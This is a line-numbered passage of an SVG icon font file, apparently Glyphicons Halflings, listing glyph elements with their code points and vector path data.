146 <glyph unicode="&#xe118;" d="M1 0l300 700h1200l-300 -700h-1200zM1 400v600h200q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5h500v-200h-1000z" />
147 <glyph unicode="&#xe119;" d="M302 300h198v600h-198l298 300l298 -300h-198v-600h198l-298 -300z" />
148 <glyph unicode="&#xe120;" d="M0 600l300 298v-198h600v198l300 -298l-300 -297v197h-600v-197z" />
149 <glyph unicode="&#xe121;" d="M0 100v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM31 400l172 739q5 22 23 41.5t38 19.5h672q19 0 37.5 -22.5t23.5 -45.5l172 -732h-1138zM800 100h100v100h-100v-100z M1000 100h100v100h-100v-100z" />
150 <glyph unicode="&#xe122;" d="M-101 600v50q0 24 25 49t50 38l25 13v-250l-11 5.5t-24 14t-30 21.5t-24 27.5t-11 31.5zM100 500v250v8v8v7t0.5 7t1.5 5.5t2 5t3 4t4.5 3.5t6 1.5t7.5 0.5h200l675 250v-850l-675 200h-38l47 -276q2 -12 -3 -17.5t-11 -6t-21 -0.5h-8h-83q-20 0 -34.5 14t-18.5 35 q-55 337 -55 351zM1100 200v850q0 21 14.5 35.5t35.5 14.5q20 0 35 -14.5t15 -35.5v-850q0 -20 -15 -35t-35 -15q-21 0 -35.5 15t-14.5 35z" />
151 <glyph unicode="&#xe123;" d="M74 350q0 21 13.5 35.5t33.5 14.5h18l117 173l63 327q15 77 76 140t144 83l-18 32q-6 19 3 32t29 13h94q20 0 29 -10.5t3 -29.5q-18 -36 -18 -37q83 -19 144 -82.5t76 -140.5l63 -327l118 -173h17q20 0 33.5 -14.5t13.5 -35.5q0 -20 -13 -40t-31 -27q-8 -3 -23 -8.5 t-65 -20t-103 -25t-132.5 -19.5t-158.5 -9q-125 0 -245.5 20.5t-178.5 40.5l-58 20q-18 7 -31 27.5t-13 40.5zM497 110q12 -49 40 -79.5t63 -30.5t63 30.5t39 79.5q-48 -6 -102 -6t-103 6z" />
152 <glyph unicode="&#xe124;" d="M21 445l233 -45l-78 -224l224 78l45 -233l155 179l155 -179l45 233l224 -78l-78 224l234 45l-180 155l180 156l-234 44l78 225l-224 -78l-45 233l-155 -180l-155 180l-45 -233l-224 78l78 -225l-233 -44l179 -156z" />
153 <glyph unicode="&#xe125;" d="M0 200h200v600h-200v-600zM300 275q0 -75 100 -75h61q124 -100 139 -100h250q46 0 83 57l238 344q29 31 29 74v100q0 44 -30.5 84.5t-69.5 40.5h-328q28 118 28 125v150q0 44 -30.5 84.5t-69.5 40.5h-50q-27 0 -51 -20t-38 -48l-96 -198l-145 -196q-20 -26 -20 -63v-400z M400 300v375l150 213l100 212h50v-175l-50 -225h450v-125l-250 -375h-214l-136 100h-100z" />
154 <glyph unicode="&#xe126;" d="M0 400v600h200v-600h-200zM300 525v400q0 75 100 75h61q124 100 139 100h250q46 0 83 -57l238 -344q29 -31 29 -74v-100q0 -44 -30.5 -84.5t-69.5 -40.5h-328q28 -118 28 -125v-150q0 -44 -30.5 -84.5t-69.5 -40.5h-50q-27 0 -51 20t-38 48l-96 198l-145 196 q-20 26 -20 63zM400 525l150 -212l100 -213h50v175l-50 225h450v125l-250 375h-214l-136 -100h-100v-375z" />
155 <glyph unicode="&#xe127;" d="M8 200v600h200v-600h-200zM308 275v525q0 17 14 35.5t28 28.5l14 9l362 230q14 6 25 6q17 0 29 -12l109 -112q14 -14 14 -34q0 -18 -11 -32l-85 -121h302q85 0 138.5 -38t53.5 -110t-54.5 -111t-138.5 -39h-107l-130 -339q-7 -22 -20.5 -41.5t-28.5 -19.5h-341 q-7 0 -90 81t-83 94zM408 289l100 -89h293l131 339q6 21 19.5 41t28.5 20h203q16 0 25 15t9 36q0 20 -9 34.5t-25 14.5h-457h-6.5h-7.5t-6.5 0.5t-6 1t-5 1.5t-5.5 2.5t-4 4t-4 5.5q-5 12 -5 20q0 14 10 27l147 183l-86 83l-339 -236v-503z" />
156 <glyph unicode="&#xe128;" d="M-101 651q0 72 54 110t139 38l302 -1l-85 121q-11 16 -11 32q0 21 14 34l109 113q13 12 29 12q11 0 25 -6l365 -230q7 -4 17 -10.5t26.5 -26t16.5 -36.5v-526q0 -13 -86 -93.5t-94 -80.5h-341q-16 0 -29.5 20t-19.5 41l-130 339h-107q-84 0 -139 39t-55 111zM-1 601h222 q15 0 28.5 -20.5t19.5 -40.5l131 -339h293l107 89v502l-343 237l-87 -83l145 -184q10 -11 10 -26q0 -11 -5 -20q-1 -3 -3.5 -5.5l-4 -4t-5 -2.5t-5.5 -1.5t-6.5 -1t-6.5 -0.5h-7.5h-6.5h-476v-100zM1000 201v600h200v-600h-200z" />
157 <glyph unicode="&#xe129;" d="M97 719l230 -363q4 -6 10.5 -15.5t26 -25t36.5 -15.5h525q13 0 94 83t81 90v342q0 15 -20 28.5t-41 19.5l-339 131v106q0 84 -39 139t-111 55t-110 -53.5t-38 -138.5v-302l-121 84q-15 12 -33.5 11.5t-32.5 -13.5l-112 -110q-22 -22 -6 -53zM172 739l83 86l183 -146 q22 -18 47 -5q3 1 5.5 3.5l4 4t2.5 5t1.5 5.5t1 6.5t0.5 6.5v7.5v6.5v456q0 22 25 31t50 -0.5t25 -30.5v-202q0 -16 20 -29.5t41 -19.5l339 -130v-294l-89 -100h-503zM400 0v200h600v-200h-600z" />
158 <glyph unicode="&#xe130;" d="M2 585q-16 -31 6 -53l112 -110q13 -13 32 -13.5t34 10.5l121 85q0 -51 -0.5 -153.5t-0.5 -148.5q0 -84 38.5 -138t110.5 -54t111 55t39 139v106l339 131q20 6 40.5 19.5t20.5 28.5v342q0 7 -81 90t-94 83h-525q-17 0 -35.5 -14t-28.5 -28l-10 -15zM77 565l236 339h503 l89 -100v-294l-340 -130q-20 -6 -40 -20t-20 -29v-202q0 -22 -25 -31t-50 0t-25 31v456v14.5t-1.5 11.5t-5 12t-9.5 7q-24 13 -46 -5l-184 -146zM305 1104v200h600v-200h-600z" />
159 <glyph unicode="&#xe131;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q162 0 299.5 -80t217.5 -218t80 -300t-80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM298 701l2 -201h300l-2 -194l402 294l-402 298v-197h-300z" />
160 <glyph unicode="&#xe132;" d="M0 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t231.5 47.5q122 0 232.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-218 -217.5t-300 -80t-299.5 80t-217.5 217.5t-80 299.5zM200 600l402 -294l-2 194h300l2 201h-300v197z" />
161 <glyph unicode="&#xe133;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q162 0 299.5 -80t217.5 -218t80 -300t-80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 600h200v-300h200v300h200l-300 400z" />
162 <glyph unicode="&#xe134;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q162 0 299.5 -80t217.5 -218t80 -300t-80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM300 600l300 -400l300 400h-200v300h-200v-300h-200z" />
163 <glyph unicode="&#xe135;" d="M5 597q0 122 47.5 232.5t127.5 190.5t190.5 127.5t232.5 47.5q121 0 231.5 -47.5t190.5 -127.5t127.5 -190.5t47.5 -232.5q0 -162 -80 -299.5t-217.5 -217.5t-299.5 -80t-300 80t-218 217.5t-80 299.5zM254 780q-8 -33 5.5 -92.5t7.5 -87.5q0 -9 17 -44t16 -60 q12 0 23 -5.5t23 -15t20 -13.5q24 -12 108 -42q22 -8 53 -31.5t59.5 -38.5t57.5 -11q8 -18 -15 -55t-20 -57q42 -71 87 -80q0 -6 -3 -15.5t-3.5 -14.5t4.5 -17q104 -3 221 112q30 29 47 47t34.5 49t20.5 62q-14 9 -37 9.5t-36 7.5q-14 7 -49 15t-52 19q-9 0 -39.5 -0.5 t-46.5 -1.5t-39 -6.5t-39 -16.5q-50 -35 -66 -12q-4 2 -3.5 25.5t0.5 25.5q-6 13 -26.5 17t-24.5 7q2 22 -2 41t-16.5 28t-38.5 -20q-23 -25 -42 4q-19 28 -8 58q6 16 22 22q6 -1 26 -1.5t33.5 -4t19.5 -13.5q12 -19 32 -37.5t34 -27.5l14 -8q0 3 9.5 39.5t5.5 57.5 q-4 23 14.5 44.5t22.5 31.5q5 14 10 35t8.5 31t15.5 22.5t34 21.5q-6 18 10 37q8 0 23.5 -1.5t24.5 -1.5t20.5 4.5t20.5 15.5q-10 23 -30.5 42.5t-38 30t-49 26.5t-43.5 23q11 39 2 44q31 -13 58 -14.5t39 3.5l11 4q7 36 -16.5 53.5t-64.5 28.5t-56 23q-19 -3 -37 0 q-15 -12 -36.5 -21t-34.5 -12t-44 -8t-39 -6q-15 -3 -45.5 0.5t-45.5 -2.5q-21 -7 -52 -26.5t-34 -34.5q-3 -11 6.5 -22.5t8.5 -18.5q-3 -34 -27.5 -90.5t-29.5 -79.5zM518 916q3 12 16 30t16 25q10 -10 18.5 -10t14 6t14.5 14.5t16 12.5q0 -24 17 -66.5t17 -43.5 q-9 2 -31 5t-36 5t-32 8t-30 14zM692 1003h1h-1z" />
164 <glyph unicode="&#xe136;" d="M0 164.5q0 21.5 15 37.5l600 599q-33 101 6 201.5t135 154.5q164 92 306 -9l-259 -138l145 -232l251 126q13 -175 -151 -267q-123 -70 -253 -23l-596 -596q-15 -16 -36.5 -16t-36.5 16l-111 110q-15 15 -15 36.5z" />
165 <glyph unicode="&#xe137;" horiz-adv-x="1220" d="M0 196v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM0 596v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000 q-41 0 -70.5 29.5t-29.5 70.5zM0 996v100q0 41 29.5 70.5t70.5 29.5h1000q41 0 70.5 -29.5t29.5 -70.5v-100q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM600 596h500v100h-500v-100zM800 196h300v100h-300v-100zM900 996h200v100h-200v-100z" />
166 <glyph unicode="&#xe138;" d="M100 1100v100h1000v-100h-1000zM150 1000h900l-350 -500v-300l-200 -200v500z" />
167 <glyph unicode="&#xe139;" d="M0 200v200h1200v-200q0 -41 -29.5 -70.5t-70.5 -29.5h-1000q-41 0 -70.5 29.5t-29.5 70.5zM0 500v400q0 41 29.5 70.5t70.5 29.5h300v100q0 41 29.5 70.5t70.5 29.5h200q41 0 70.5 -29.5t29.5 -70.5v-100h300q41 0 70.5 -29.5t29.5 -70.5v-400h-500v100h-200v-100h-500z M500 1000h200v100h-200v-100z" />
168 <glyph unicode="&#xe140;" d="M0 0v400l129 -129l200 200l142 -142l-200 -200l129 -129h-400zM0 800l129 129l200 -200l142 142l-200 200l129 129h-400v-400zM729 329l142 142l200 -200l129 129v-400h-400l129 129zM729 871l200 200l-129 129h400v-400l-129 129l-200 -200z" />
169 <glyph unicode="&#xe141;" d="M0 596q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM182 596q0 -172 121.5 -293t292.5 -121t292.5 121t121.5 293q0 171 -121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM291 655 q0 23 15.5 38.5t38.5 15.5t39 -16t16 -38q0 -23 -16 -39t-39 -16q-22 0 -38 16t-16 39zM400 850q0 22 16 38.5t39 16.5q22 0 38 -16t16 -39t-16 -39t-38 -16q-23 0 -39 16.5t-16 38.5zM514 609q0 32 20.5 56.5t51.5 29.5l122 126l1 1q-9 14 -9 28q0 22 16 38.5t39 16.5 q22 0 38 -16t16 -39t-16 -39t-38 -16q-14 0 -29 10l-55 -145q17 -22 17 -51q0 -36 -25.5 -61.5t-61.5 -25.5t-61.5 25.5t-25.5 61.5zM800 655q0 22 16 38t39 16t38.5 -15.5t15.5 -38.5t-16 -39t-38 -16q-23 0 -39 16t-16 39z" />
170 <glyph unicode="&#xe142;" d="M-40 375q-13 -95 35 -173q35 -57 94 -89t129 -32q63 0 119 28q33 16 65 40.5t52.5 45.5t59.5 64q40 44 57 61l394 394q35 35 47 84t-3 96q-27 87 -117 104q-20 2 -29 2q-46 0 -78.5 -16.5t-67.5 -51.5l-389 -396l-7 -7l69 -67l377 373q20 22 39 38q23 23 50 23 q38 0 53 -36q16 -39 -20 -75l-547 -547q-52 -52 -125 -52q-55 0 -100 33t-54 96q-5 35 2.5 66t31.5 63t42 50t56 54q24 21 44 41l348 348q52 52 82.5 79.5t84 54t107.5 26.5q25 0 48 -4q95 -17 154 -94.5t51 -175.5q-7 -101 -98 -192l-252 -249l-253 -256l7 -7l69 -60 l517 511q67 67 95 157t11 183q-16 87 -67 154t-130 103q-69 33 -152 33q-107 0 -197 -55q-40 -24 -111 -95l-512 -512q-68 -68 -81 -163z" />
171 <glyph unicode="&#xe143;" d="M80 784q0 131 98.5 229.5t230.5 98.5q143 0 241 -129q103 129 246 129q129 0 226 -98.5t97 -229.5q0 -46 -17.5 -91t-61 -99t-77 -89.5t-104.5 -105.5q-197 -191 -293 -322l-17 -23l-16 23q-43 58 -100 122.5t-92 99.5t-101 100q-71 70 -104.5 105.5t-77 89.5t-61 99 t-17.5 91zM250 784q0 -27 30.5 -70t61.5 -75.5t95 -94.5l22 -22q93 -90 190 -201q82 92 195 203l12 12q64 62 97.5 97t64.5 79t31 72q0 71 -48 119.5t-105 48.5q-74 0 -132 -83l-118 -171l-114 174q-51 80 -123 80q-60 0 -109.5 -49.5t-49.5 -118.5z" />
172 <glyph unicode="&#xe144;" d="M57 353q0 -95 66 -159l141 -142q68 -66 159 -66q93 0 159 66l283 283q66 66 66 159t-66 159l-141 141q-8 9 -19 17l-105 -105l212 -212l-389 -389l-247 248l95 95l-18 18q-46 45 -75 101l-55 -55q-66 -66 -66 -159zM269 706q0 -93 66 -159l141 -141q7 -7 19 -17l105 105 l-212 212l389 389l247 -247l-95 -96l18 -17q47 -49 77 -100l29 29q35 35 62.5 88t27.5 96q0 93 -66 159l-141 141q-66 66 -159 66q-95 0 -159 -66l-283 -283q-66 -64 -66 -159z" />
173 <glyph unicode="&#xe145;" d="M200 100v953q0 21 30 46t81 48t129 38t163 15t162 -15t127 -38t79 -48t29 -46v-953q0 -41 -29.5 -70.5t-70.5 -29.5h-600q-41 0 -70.5 29.5t-29.5 70.5zM300 300h600v700h-600v-700zM496 150q0 -43 30.5 -73.5t73.5 -30.5t73.5 30.5t30.5 73.5t-30.5 73.5t-73.5 30.5 t-73.5 -30.5t-30.5 -73.5z" />
174 <glyph unicode="&#xe146;" d="M0 0l303 380l207 208l-210 212h300l267 279l-35 36q-15 14 -15 35t15 35q14 15 35 15t35 -15l283 -282q15 -15 15 -36t-15 -35q-14 -15 -35 -15t-35 15l-36 35l-279 -267v-300l-212 210l-208 -207z" />
175 <glyph unicode="&#xe148;" d="M295 433h139q5 -77 48.5 -126.5t117.5 -64.5v335q-6 1 -15.5 4t-11.5 3q-46 14 -79 26.5t-72 36t-62.5 52t-40 72.5t-16.5 99q0 92 44 159.5t109 101t144 40.5v78h100v-79q38 -4 72.5 -13.5t75.5 -31.5t71 -53.5t51.5 -84t24.5 -118.5h-159q-8 72 -35 109.5t-101 50.5 v-307l64 -14q34 -7 64 -16.5t70 -31.5t67.5 -52t47.5 -80.5t20 -112.5q0 -139 -89 -224t-244 -96v-77h-100v78q-152 17 -237 104q-40 40 -52.5 93.5t-15.5 139.5zM466 889q0 -29 8 -51t16.5 -34t29.5 -22.5t31 -13.5t38 -10q7 -2 11 -3v274q-61 -8 -97.5 -37.5t-36.5 -102.5 zM700 237q170 18 170 151q0 64 -44 99.5t-126 60.5v-311z" />
176 <glyph unicode="&#xe149;" d="M100 600v100h166q-24 49 -44 104q-10 26 -14.5 55.5t-3 72.5t25 90t68.5 87q97 88 263 88q129 0 230 -89t101 -208h-153q0 52 -34 89.5t-74 51.5t-76 14q-37 0 -79 -14.5t-62 -35.5q-41 -44 -41 -101q0 -28 16.5 -69.5t28 -62.5t41.5 -72h241v-100h-197q8 -50 -2.5 -115 t-31.5 -94q-41 -59 -99 -113q35 11 84 18t70 7q33 1 103 -16t103 -17q76 0 136 30l50 -147q-41 -25 -80.5 -36.5t-59 -13t-61.5 -1.5q-23 0 -128 33t-155 29q-39 -4 -82 -17t-66 -25l-24 -11l-55 145l16.5 11t15.5 10t13.5 9.5t14.5 12t14.5 14t17.5 18.5q48 55 54 126.5 t-30 142.5h-221z" />
177 <glyph unicode="&#xe150;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM602 900l298 300l298 -300h-198v-900h-200v900h-198z" />
178 <glyph unicode="&#xe151;" d="M2 300h198v900h200v-900h198l-298 -300zM700 0v200h100v-100h200v-100h-300zM700 400v100h300v-200h-99v-100h-100v100h99v100h-200zM700 700v500h300v-500h-100v100h-100v-100h-100zM801 900h100v200h-100v-200z" />
179 <glyph unicode="&#xe152;" d="M2 300h198v900h200v-900h198l-298 -300zM700 0v500h300v-500h-100v100h-100v-100h-100zM700 700v200h100v-100h200v-100h-300zM700 1100v100h300v-200h-99v-100h-100v100h99v100h-200zM801 200h100v200h-100v-200z" />
180 <glyph unicode="&#xe153;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM800 100v400h300v-500h-100v100h-200zM800 1100v100h200v-500h-100v400h-100zM901 200h100v200h-100v-200z" />
181 <glyph unicode="&#xe154;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM800 400v100h200v-500h-100v400h-100zM800 800v400h300v-500h-100v100h-200zM901 900h100v200h-100v-200z" />
182 <glyph unicode="&#xe155;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM700 100v200h500v-200h-500zM700 400v200h400v-200h-400zM700 700v200h300v-200h-300zM700 1000v200h200v-200h-200z" />
183 <glyph unicode="&#xe156;" d="M2 300l298 -300l298 300h-198v900h-200v-900h-198zM700 100v200h200v-200h-200zM700 400v200h300v-200h-300zM700 700v200h400v-200h-400zM700 1000v200h500v-200h-500z" />
184 <glyph unicode="&#xe157;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q162 0 281 -118.5t119 -281.5v-300q0 -165 -118.5 -282.5t-281.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500z" />
185 <glyph unicode="&#xe158;" d="M0 400v300q0 163 119 281.5t281 118.5h300q165 0 282.5 -117.5t117.5 -282.5v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-163 0 -281.5 117.5t-118.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM400 300l333 250l-333 250v-500z" />
186 <glyph unicode="&#xe159;" d="M0 400v300q0 163 117.5 281.5t282.5 118.5h300q163 0 281.5 -119t118.5 -281v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM300 700l250 -333l250 333h-500z" />
187 <glyph unicode="&#xe160;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q165 0 282.5 -117.5t117.5 -282.5v-300q0 -162 -118.5 -281t-281.5 -119h-300q-165 0 -282.5 118.5t-117.5 281.5zM200 300q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5 h-500q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM300 400h500l-250 333z" />
188 <glyph unicode="&#xe161;" d="M0 400v300h300v200l400 -350l-400 -350v200h-300zM500 0v200h500q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5h-500v200h400q165 0 282.5 -117.5t117.5 -282.5v-300q0 -165 -117.5 -282.5t-282.5 -117.5h-400z" />
189 <glyph unicode="&#xe162;" d="M217 519q8 -19 31 -19h302q-155 -438 -160 -458q-5 -21 4 -32l9 -8h9q14 0 26 15q11 13 274.5 321.5t264.5 308.5q14 19 5 36q-8 17 -31 17l-301 -1q1 4 78 219.5t79 227.5q2 15 -5 27l-9 9h-9q-15 0 -25 -16q-4 -6 -98 -111.5t-228.5 -257t-209.5 -237.5q-16 -19 -6 -41 z" />
190 <glyph unicode="&#xe163;" d="M0 400q0 -165 117.5 -282.5t282.5 -117.5h300q47 0 100 15v185h-500q-41 0 -70.5 29.5t-29.5 70.5v500q0 41 29.5 70.5t70.5 29.5h500v185q-14 4 -114 7.5t-193 5.5l-93 2q-165 0 -282.5 -117.5t-117.5 -282.5v-300zM600 400v300h300v200l400 -350l-400 -350v200h-300z " />
191 <glyph unicode="&#xe164;" d="M0 400q0 -165 117.5 -282.5t282.5 -117.5h300q163 0 281.5 117.5t118.5 282.5v98l-78 73l-122 -123v-148q0 -41 -29.5 -70.5t-70.5 -29.5h-500q-41 0 -70.5 29.5t-29.5 70.5v500q0 41 29.5 70.5t70.5 29.5h156l118 122l-74 78h-100q-165 0 -282.5 -117.5t-117.5 -282.5 v-300zM496 709l353 342l-149 149h500v-500l-149 149l-342 -353z" />
192 <glyph unicode="&#xe165;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM406 600 q0 80 57 137t137 57t137 -57t57 -137t-57 -137t-137 -57t-137 57t-57 137z" />
193 <glyph unicode="&#xe166;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 800l445 -500l450 500h-295v400h-300v-400h-300zM900 150h100v50h-100v-50z" />
194 <glyph unicode="&#xe167;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 700h300v-300h300v300h295l-445 500zM900 150h100v50h-100v-50z" />
195 <glyph unicode="&#xe168;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 705l305 -305l596 596l-154 155l-442 -442l-150 151zM900 150h100v50h-100v-50z" />
196 <glyph unicode="&#xe169;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM100 988l97 -98l212 213l-97 97zM200 400l697 1l3 699l-250 -239l-149 149l-212 -212l149 -149zM900 150h100v50h-100v-50z" />
197 <glyph unicode="&#xe170;" d="M0 0v275q0 11 7 18t18 7h1048q11 0 19 -7.5t8 -17.5v-275h-1100zM200 612l212 -212l98 97l-213 212zM300 1200l239 -250l-149 -149l212 -212l149 148l249 -237l-1 697zM900 150h100v50h-100v-50z" />
198 <glyph unicode="&#xe171;" d="M23 415l1177 784v-1079l-475 272l-310 -393v416h-392zM494 210l672 938l-672 -712v-226z" />
199 <glyph unicode="&#xe172;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-850q0 -21 -15 -35.5t-35 -14.5h-150v400h-700v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 1000h100v200h-100v-200z" />
200 <glyph unicode="&#xe173;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-218l-276 -275l-120 120l-126 -127h-378v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM581 306l123 123l120 -120l353 352l123 -123l-475 -476zM600 1000h100v200h-100v-200z" />
201 <glyph unicode="&#xe174;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-269l-103 -103l-170 170l-298 -298h-329v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 1000h100v200h-100v-200zM700 133l170 170l-170 170l127 127l170 -170l170 170l127 -128l-170 -169l170 -170 l-127 -127l-170 170l-170 -170z" />
202 <glyph unicode="&#xe175;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-300h-400v-200h-500v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 300l300 -300l300 300h-200v300h-200v-300h-200zM600 1000v200h100v-200h-100z" />
203 <glyph unicode="&#xe176;" d="M0 150v1000q0 20 14.5 35t35.5 15h250v-300h500v300h100l200 -200v-402l-200 200l-298 -298h-402v-400h-150q-21 0 -35.5 14.5t-14.5 35.5zM600 300h200v-300h200v300h200l-300 300zM600 1000v200h100v-200h-100z" />
204 <glyph unicode="&#xe177;" d="M0 250q0 -21 14.5 -35.5t35.5 -14.5h1100q21 0 35.5 14.5t14.5 35.5v550h-1200v-550zM0 900h1200v150q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-150zM100 300v200h400v-200h-400z" />
205 <glyph unicode="&#xe178;" d="M0 400l300 298v-198h400v-200h-400v-198zM100 800v200h100v-200h-100zM300 800v200h100v-200h-100zM500 800v200h400v198l300 -298l-300 -298v198h-400zM800 300v200h100v-200h-100zM1000 300h100v200h-100v-200z" />
206 <glyph unicode="&#xe179;" d="M100 700v400l50 100l50 -100v-300h100v300l50 100l50 -100v-300h100v300l50 100l50 -100v-400l-100 -203v-447q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5v447zM800 597q0 -29 10.5 -55.5t25 -43t29 -28.5t25.5 -18l10 -5v-397q0 -21 14.5 -35.5 t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v1106q0 31 -18 40.5t-44 -7.5l-276 -116q-25 -17 -43.5 -51.5t-18.5 -65.5v-359z" />
207 <glyph unicode="&#xe180;" d="M100 0h400v56q-75 0 -87.5 6t-12.5 44v394h500v-394q0 -38 -12.5 -44t-87.5 -6v-56h400v56q-4 0 -11 0.5t-24 3t-30 7t-24 15t-11 24.5v888q0 22 25 34.5t50 13.5l25 2v56h-400v-56q75 0 87.5 -6t12.5 -44v-394h-500v394q0 38 12.5 44t87.5 6v56h-400v-56q4 0 11 -0.5 t24 -3t30 -7t24 -15t11 -24.5v-888q0 -22 -25 -34.5t-50 -13.5l-25 -2v-56z" />
208 <glyph unicode="&#xe181;" d="M0 300q0 -41 29.5 -70.5t70.5 -29.5h300q41 0 70.5 29.5t29.5 70.5v500q0 41 -29.5 70.5t-70.5 29.5h-300q-41 0 -70.5 -29.5t-29.5 -70.5v-500zM100 100h400l200 200h105l295 98v-298h-425l-100 -100h-375zM100 300v200h300v-200h-300zM100 600v200h300v-200h-300z M100 1000h400l200 -200v-98l295 98h105v200h-425l-100 100h-375zM700 402v163l400 133v-163z" />
209 <glyph unicode="&#xe182;" d="M16.5 974.5q0.5 -21.5 16 -90t46.5 -140t104 -177.5t175 -208q103 -103 207.5 -176t180 -103.5t137 -47t92.5 -16.5l31 1l163 162q17 18 13.5 41t-22.5 37l-192 136q-19 14 -45 12t-42 -19l-118 -118q-142 101 -268 227t-227 268l118 118q17 17 20 41.5t-11 44.5 l-139 194q-14 19 -36.5 22t-40.5 -14l-162 -162q-1 -11 -0.5 -32.5z" />
210 <glyph unicode="&#xe183;" d="M0 50v212q0 20 10.5 45.5t24.5 39.5l365 303v50q0 4 1 10.5t12 22.5t30 28.5t60 23t97 10.5t97 -10t60 -23.5t30 -27.5t12 -24l1 -10v-50l365 -303q14 -14 24.5 -39.5t10.5 -45.5v-212q0 -21 -14.5 -35.5t-35.5 -14.5h-1100q-20 0 -35 14.5t-15 35.5zM0 712 q0 -21 14.5 -33.5t34.5 -8.5l202 33q20 4 34.5 21t14.5 38v146q141 24 300 24t300 -24v-146q0 -21 14.5 -38t34.5 -21l202 -33q20 -4 34.5 8.5t14.5 33.5v200q-6 8 -19 20.5t-63 45t-112 57t-171 45t-235 20.5q-92 0 -175 -10.5t-141.5 -27t-108.5 -36.5t-81.5 -40 t-53.5 -36.5t-31 -27.5l-9 -10v-200z" />
211 <glyph unicode="&#xe184;" d="M100 0v100h1100v-100h-1100zM175 200h950l-125 150v250l100 100v400h-100v-200h-100v200h-200v-200h-100v200h-200v-200h-100v200h-100v-400l100 -100v-250z" />
212 <glyph unicode="&#xe185;" d="M100 0h300v400q0 41 -29.5 70.5t-70.5 29.5h-100q-41 0 -70.5 -29.5t-29.5 -70.5v-400zM500 0v1000q0 41 29.5 70.5t70.5 29.5h100q41 0 70.5 -29.5t29.5 -70.5v-1000h-300zM900 0v700q0 41 29.5 70.5t70.5 29.5h100q41 0 70.5 -29.5t29.5 -70.5v-700h-300z" />
